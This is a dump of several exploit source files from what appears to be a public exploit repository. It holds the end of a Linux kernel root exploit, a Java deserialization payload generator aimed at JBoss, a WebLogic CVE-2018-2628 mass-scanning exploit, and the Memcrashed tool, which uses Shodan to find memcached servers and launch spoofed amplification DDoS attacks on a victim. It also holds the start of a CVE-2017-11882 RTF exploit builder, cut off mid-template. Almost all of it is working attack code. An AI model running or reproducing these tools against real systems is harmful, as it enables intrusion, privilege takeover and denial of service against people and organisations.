183 | static uint64_t __get_fp(void) {
184 | __update_elem(1, 0, 0);
185 |
186 | return get_value(2);
187 | }
188 |
189 | static uint64_t __read(uint64_t addr) {
190 | __update_elem(0, addr, 0);
191 |
192 | return get_value(2);
193 | }
194 |
195 | static void __write(uint64_t addr, uint64_t val) {
196 | __update_elem(2, addr, val);
197 | }
198 |
199 | static uint64_t get_sp(uint64_t addr) {
200 | return addr & ~(0x4000 - 1);
201 | }
202 |
203 | static void pwn(void) {
204 | uint64_t fp, sp, task_struct, credptr, uidptr;
205 |
206 | fp = __get_fp();
207 | if (fp < PHYS_OFFSET)
208 | __exit("bogus fp");
209 |
210 | sp = get_sp(fp);
211 | if (sp < PHYS_OFFSET)
212 | __exit("bogus sp");
213 |
214 | task_struct = __read(sp);
215 |
216 | if (task_struct < PHYS_OFFSET)
217 | __exit("bogus task ptr");
218 |
219 | printf("task_struct = %lx\n", task_struct);
220 |
221 | credptr = __read(task_struct + CRED_OFFSET); // cred
222 |
223 | if (credptr < PHYS_OFFSET)
224 | __exit("bogus cred ptr");
225 |
226 | uidptr = credptr + UID_OFFSET; // uid
227 | if (uidptr < PHYS_OFFSET)
228 | __exit("bogus uid ptr");
229 |
230 | printf("uidptr = %lx\n", uidptr);
231 | __write(uidptr, 0); // set both uid and gid to 0
232 |
233 | if (getuid() == 0) {
234 | printf("spawning root shell\n");
235 | system("/bin/bash");
236 | exit(0);
237 | }
238 |
239 | __exit("not vulnerable?");
240 | }
241 |
242 | int main(int argc, char **argv) {
243 | prep();
244 | pwn();
245 |
246 | return 0;
247 | }
248 |
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExampleCommonsCollections1.java:
--------------------------------------------------------------------------------
1 | import org.apache.commons.collections.Transformer;
2 | import org.apache.commons.collections.functors.ChainedTransformer;
3 | import org.apache.commons.collections.functors.ConstantTransformer;
4 | import org.apache.commons.collections.functors.InvokerTransformer;
5 | import org.apache.commons.collections.map.LazyMap;
6 |
7 | import java.io.*;
8 | import java.lang.*;
9 | import java.lang.annotation.Retention;
10 | import java.lang.reflect.Constructor;
11 | import java.lang.reflect.InvocationHandler;
12 | import java.lang.reflect.InvocationTargetException;
13 | import java.lang.reflect.Proxy;
14 | import java.util.*;
15 |
16 | /**
17 | * Gera payload que leva a execução de código durante a desserialização.
18 | * São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
19 | * ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
20 | * do JRE, como trigger gadget.
21 | * Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
22 | * deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
23 | * deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
24 | * ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
25 | *
26 | * -----------------------------------------------------------------------
27 | * * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
28 | * * https://www.h2hc.com.br/revista/
29 | * -----------------------------------------------------------------------
30 | *
31 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
32 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
33 | *
34 | **** USAGE ****
35 | *
36 | * Compilando:
37 | * $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
38 | *
39 | * Executando
40 | * $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
41 | *
42 | * @author @joaomatosf
43 | */
44 | public class ExampleCommonsCollections1 {
45 | @SuppressWarnings ( {"unchecked"} )
46 | public static void main(String[] args)
47 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
48 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
49 |
50 | // Verifica se o usuário forneceu o comando a ser executado
51 | if (args.length != 1) {
52 | System.out.println("Invalid params! \n" +
53 | "Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
54 | System.exit(1);
55 | }
56 |
57 | // Seleciona o interpretador correto de acordo com o comando a ser executado
58 | //boolean isUnix = System.getProperty("file.separator").equals("/");
59 | boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
60 | String cmd[];
61 | if (isUnix)
62 | cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
63 | else
64 | cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
65 |
66 | // Cria array de transformers que resulta na seguinte construção:
67 | //((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
68 | Transformer[] transformers = new Transformer[] {
69 | // retorna Class Runtime.class
70 | new ConstantTransformer(Runtime.class),
71 | // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
72 | new InvokerTransformer(
73 | "getMethod", // invoca método getMethod
74 | ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
75 | ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
76 | ),
77 | // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
78 | new InvokerTransformer(
79 | "invoke", // invoca método: invoke
80 | (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
81 | (new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
82 | ),
83 | // 3o. Objeto InvokerTransformer: .exec(cmd[])
84 | new InvokerTransformer(
85 | "exec", // invoca método: exec
86 | new Class[] { String[].class }, // tipos dos parâmetros: (String[])
87 | new Object[]{ cmd } ) // parâmetros: (cmd[])
88 | };
89 |
90 | // Cria o objeto ChainedTransformer com o array de Transformers:
91 | Transformer transformerChain = new ChainedTransformer(transformers);
92 | // Cria o map
93 | Map map = new HashMap();
94 | // Decora o map com o LazyMap e a cadeia de transformações como factory
95 | Map lazyMap = LazyMap.decorate(map,transformerChain);
96 |
97 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler
98 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
99 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
100 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
101 | // Torna o construtor acessível
102 | ctor.setAccessible(true);
103 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
104 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
105 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
106 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
107 |
108 | //cria a interface map
109 | Class[] interfaces = new Class[] {java.util.Map.class};
110 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
111 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
112 |
113 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
114 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
115 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
116 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
117 |
118 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
119 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
120 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
121 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
122 | System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
123 | FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
124 | ObjectOutputStream oos = new ObjectOutputStream(fos);
125 | oos.writeObject(handlerProxy);
126 | oos.flush();
127 |
128 | }
129 | }
--------------------------------------------------------------------------------
/CVE_EXP/CVE-2018-2628 weblogic/CVE-2018-2628.py:
--------------------------------------------------------------------------------
1 | #coding = utf8
2 | import socket
3 | import time
4 | import re,os,sys,codecs
5 |
6 | type = 'utf-8'
7 | reload(sys)
8 | sys.setdefaultencoding(type)
9 | IpFile=file('./weblogic1.txt')
10 | fp= codecs.open("./weblogic1_success.txt","a")
11 | timeout=15
12 |
13 |
14 | VUL=['CVE-2018-2628']
15 | PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
16 | VER_SIG=['\\$Proxy[0-9]+']
17 |
18 | def t3handshake(sock,server_addr):
19 | print '\n[*]Connecting to server...'.decode(type)
20 | sock.connect(server_addr)
21 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
22 | time.sleep(1)
23 | sock.recv(1024)
24 |
25 |
26 | def buildT3RequestObject(sock,port,server_addr):
27 | print '%s:%dcontent-successful...'.decode(type) %(server_addr[0],server_addr[1])
28 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
29 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
30 | data3 = '1a7727000d3234322e323134'
31 | data4 = '2e312e32353461863d1d0000000078'
32 | for d in [data1,data2,data3,data4]:
33 | sock.send(d.decode('hex'))
34 | time.sleep(2)
35 | date = len(sock.recv(2048))
36 | print 'Send payload request successful, receive length:%d'.decode(type) %(date)
37 | return date
38 |
39 | def sendEvilObjData(sock,data):
40 | print 'The payload is being executed, please wait...'.decode(type)
41 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
42 | payload+=data
43 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
44 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
45 | sock.send(payload.decode('hex'))
46 | time.sleep(2)
47 | sock.send(payload.decode('hex'))
48 | res = ''
49 | try:
50 | while True:
51 | res += sock.recv(4096)
52 | time.sleep(0.1)
53 | except Exception as e:
54 | pass
55 | return res
56 |
57 | def checkVul(res,server_addr,index):
58 | print 'result:'.decode(type)
59 | p=re.findall(VER_SIG[index], res, re.S)
60 | if len(p)>0:
61 | info='%s:%d exist %s Vulnerability.' %(server_addr[0],server_addr[1],VUL[index])
62 | info=info.decode(type)
63 | print info
64 | info=info+"\n"
65 | fp.write(info)
66 | fp.flush()
67 | else:
68 | print '%s:%d notexist %s Vulnerability'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
69 |
70 |
71 | def check(host,port,index):
72 | dip=host
73 | global dport
74 | dport=port
75 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
76 | sock.settimeout(timeout)
77 | server_addr = (dip, dport)
78 | try:
79 | t3handshake(sock,server_addr)
80 | except Exception as e:
81 | print '%s:%dConnection failed. Please check if the IP is alive...'.decode(type) %(server_addr[0],server_addr[1])
82 | else:
83 | try:
84 | dateout = buildT3RequestObject(sock,dport,server_addr)
85 | if dateout == 0:
86 | print '%s:%d not exist %s Vulnerability.'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
87 | else:
88 | rs=sendEvilObjData(sock,PAYLOAD[index])
89 | # print 'rs',rs
90 | checkVul(rs,server_addr,index)
91 | except Exception as e:
92 | print '%s:%dFrequent requests...'.decode(type) %(server_addr[0],server_addr[1])
93 | finally:
94 | sock.close()
95 |
96 |
97 | if __name__=="__main__":
98 | ip_list = []
99 | ip_list=[]
100 | print "[*]weblogic url list:",
101 | while True:
102 | line = IpFile.readline()
103 | if len(line) == 0: # Zero length indicates EOF
104 | break
105 | #exit()
106 | line=line.strip()
107 | print line,
108 | ip_list.append(line)
109 | IpFile.close()
110 | print "\n"
111 | for i in ip_list:
112 | host,port=i.split(":")
113 | check(host,int(port),0)
114 | fp.close()
115 | print "[*]Test done,please type weblogic1_success.txt!\n"
116 |
--------------------------------------------------------------------------------
/CVE_EXP/Memcrashed-DDoS-Exploit/Memcrashed.py:
--------------------------------------------------------------------------------
1 | #-- coding: utf8 --
2 | #!/usr/bin/env python3
3 | import sys, os, time, shodan
4 | from pathlib import Path
5 | from scapy.all import *
6 | from contextlib import contextmanager, redirect_stdout
7 |
8 | starttime = time.time()
9 |
10 | @contextmanager
11 | def suppress_stdout():
12 | with open(os.devnull, "w") as devnull:
13 | with redirect_stdout(devnull):
14 | yield
15 |
16 | class color:
17 | HEADER = '\033[0m'
18 |
19 | keys = Path("./api.txt")
20 | logo = color.HEADER + '''
21 |
22 | ███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗
23 | ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗
24 | ██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║
25 | ██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║
26 | ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝
27 | ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝
28 |
29 | Author: @037
30 | Version: 3.2
31 |
32 | ####################################### DISCLAIMER ########################################
33 | | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
34 | | memcached servers. It then allows you to use the same servers to launch widespread |
35 | | distributed denial of service attacks by forging UDP packets sourced to your victim. |
36 | | Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
37 | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
38 | | I am NOT responsible for any damages caused or any crimes committed by using this tool. |
39 | ###########################################################################################
40 |
41 | '''
42 | print(logo)
43 |
44 | if keys.is_file():
45 | with open('api.txt', 'r') as file:
46 | SHODAN_API_KEY=file.readline().rstrip('\n')
47 | else:
48 | file = open('api.txt', 'w')
49 | SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
50 | file.write(SHODAN_API_KEY)
51 | print('[~] File written: ./api.txt')
52 | file.close()
53 |
54 | while True:
55 | api = shodan.Shodan(SHODAN_API_KEY)
56 | print('')
57 | try:
58 | myresults = Path("./bots.txt")
59 | query = input("[*] Use Shodan API to search for affected Memcached servers? : ").lower()
60 | if query.startswith('y'):
61 | print('')
62 | print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
63 | results = api.search('product:"Memcached" port:11211')
64 | print('[✓] API Key Authentication: SUCCESS')
65 | print('[~] Number of bots: %s' % results['total'])
66 | print('')
67 | saveresult = input("[*] Save results for later usage? : ").lower()
68 | if saveresult.startswith('y'):
69 | file2 = open('bots.txt', 'a')
70 | for result in results['matches']:
71 | file2.write(result['ip_str'] + "\n")
72 | print('[~] File written: ./bots.txt')
73 | print('')
74 | file2.close()
75 | saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower()
76 | if myresults.is_file():
77 | if saveme.startswith('y'):
78 | with open('bots.txt') as my_file:
79 | ip_array = [line.rstrip() for line in my_file]
80 | else:
81 | print('')
82 | print('[✘] Error: No bots stored locally, bots.txt file not found!')
83 | print('')
84 | if saveme.startswith('y') or query.startswith('y'):
85 | print('')
86 | target = input("[▸] Enter target IP address: ")
87 | power = int(input("[▸] Enter preferred power (Default 1): ") or "1")
88 | data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
89 | print('')
90 | if query.startswith('y'):
91 | iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()
92 | if iplist.startswith('y'):
93 | print('')
94 | counter= int(0)
95 | for result in results['matches']:
96 | host = api.host('%s' % result['ip_str'])
97 | counter=counter+1
98 | print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
99 | time.sleep(1.1 - ((time.time() - starttime) % 1.1))
100 | if saveme.startswith('y'):
101 | iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower()
102 | if iplistlocal.startswith('y'):
103 | print('')
104 | counter= int(0)
105 | for x in ip_array:
106 | host = api.host('%s' % x)
107 | counter=counter+1
108 | print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
109 | time.sleep(1.1 - ((time.time() - starttime) % 1.1))
110 | print('')
111 | engage = input('[*] Ready to engage target %s? : ' % target).lower()
112 | if engage.startswith('y'):
113 | if saveme.startswith('y'):
114 | for i in ip_array:
115 | if power>1:
116 | print('[+] Sending %d forged UDP packets to: %s' % (power, i))
117 | with suppress_stdout():
118 | send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
119 | elif power==1:
120 | print('[+] Sending 1 forged UDP packet to: %s' % i)
121 | with suppress_stdout():
122 | send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
123 | else:
124 | for result in results['matches']:
125 | if power>1:
126 | print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
127 | with suppress_stdout():
128 | send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
129 | elif power==1:
130 | print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
131 | with suppress_stdout():
132 | send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
133 | print('')
134 | print('[•] Task complete! Exiting Platform. Have a wonderful day.')
135 | break
136 | else:
137 | print('')
138 | print('[✘] Error: %s not engaged!' % target)
139 | print('[~] Restarting Platform! Please wait.')
140 | print('')
141 | else:
142 | print('')
143 | print('[✘] Error: No bots stored locally or remotely on Shodan!')
144 | print('[~] Restarting Platform! Please wait.')
145 | print('')
146 |
147 | except shodan.APIError as e:
148 | print('[✘] Error: %s' % e)
149 | option = input('[*] Would you like to change API Key? : ').lower()
150 | if option.startswith('y'):
151 | file = open('api.txt', 'w')
152 | SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
153 | file.write(SHODAN_API_KEY)
154 | print('[~] File written: ./api.txt')
155 | file.close()
156 | print('[~] Restarting Platform! Please wait.')
157 | print('')
158 | else:
159 | print('')
160 | print('[•] Exiting Platform. Have a wonderful day.')
161 | break
162 |
--------------------------------------------------------------------------------
/CVE_EXP/CVE-2017-11882/Command_CVE-2017-11882.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import sys
3 |
4 |
5 | RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
6 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1
7 | \pard\sa200\sl276\slmult1\f0\fs22\lang9"""
8 |
9 |
10 | RTF_TRAILER = R"""\par}
11 | """
12 |
13 |
14 | OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
15 |
16 |
17 | OBJECT_TRAILER = R"""
18 | }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
19 | {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
20 | {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
21 | {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
22 | \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
23 | 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}
24 | """
25 |
26 |
27 | OBJDATA_TEMPLATE = R"""
28 | 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
29 | b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
30 | 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
31 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
32 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
33 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
34 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
35 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
36 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
37 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
38 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
39 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
40 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
41 | fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
42 | fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
43 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
44 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
45 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
46 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
47 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
48 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
49 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
50 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
51 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
52 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
53 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
54 | ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
55 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
56 | 00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
57 | 000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
58 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
59 | 00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
60 | 0000000000000000000000000000000000000000000000000000001400000000000000010043006f
61 | 006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000
62 | 00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000
63 | 00000000000000000000000000000000000000000000000000000000000000010000006600000000
64 | 00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000
65 | 00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
66 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
67 | 0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
68 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
69 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
70 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
71 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
72 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
73 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
74 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
75 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
76 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
77 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
78 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
79 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
80 | ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
